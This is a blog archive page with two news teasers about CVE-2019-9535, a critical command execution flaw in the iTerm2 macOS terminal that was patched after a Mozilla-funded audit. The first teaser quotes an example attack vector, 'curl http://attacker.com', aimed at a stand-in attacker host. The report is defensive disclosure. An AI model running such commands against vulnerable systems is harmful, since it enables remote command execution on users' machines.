Category Archives: mozilla

Critical command execution vulnerability in iTerm2 patched, upgrade ASAP!

A critical vulnerability (CVE-2019-9535) in iTerm2, a macOS terminal emulator frequently used by developers and system administrators, could allow attackers to take control of a target system. “An attacker who can produce output to the terminal can, in many cases, execute commands on the user’s computer,” Mozilla explained. “Example attack vectors for this would be connecting to an attacker-controlled SSH server or commands like curl http://attacker.com and tail -f /var/log/apache2/referer_log. We expect the community will … More

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7-Year-Old Critical RCE Flaw Found in Popular iTerm2 macOS Terminal App

A 7-year-old critical remote code execution vulnerability has been discovered in iTerm2 macOS terminal emulator app—one of the most popular open source replacements for Mac's built-in terminal app. Tracked as CVE-2019-9535, the vulnerability in iTerm2 was discovered as part of an independent security audit funded by the Mozilla Open Source Support Program (MOSS) and conducted by cybersecurity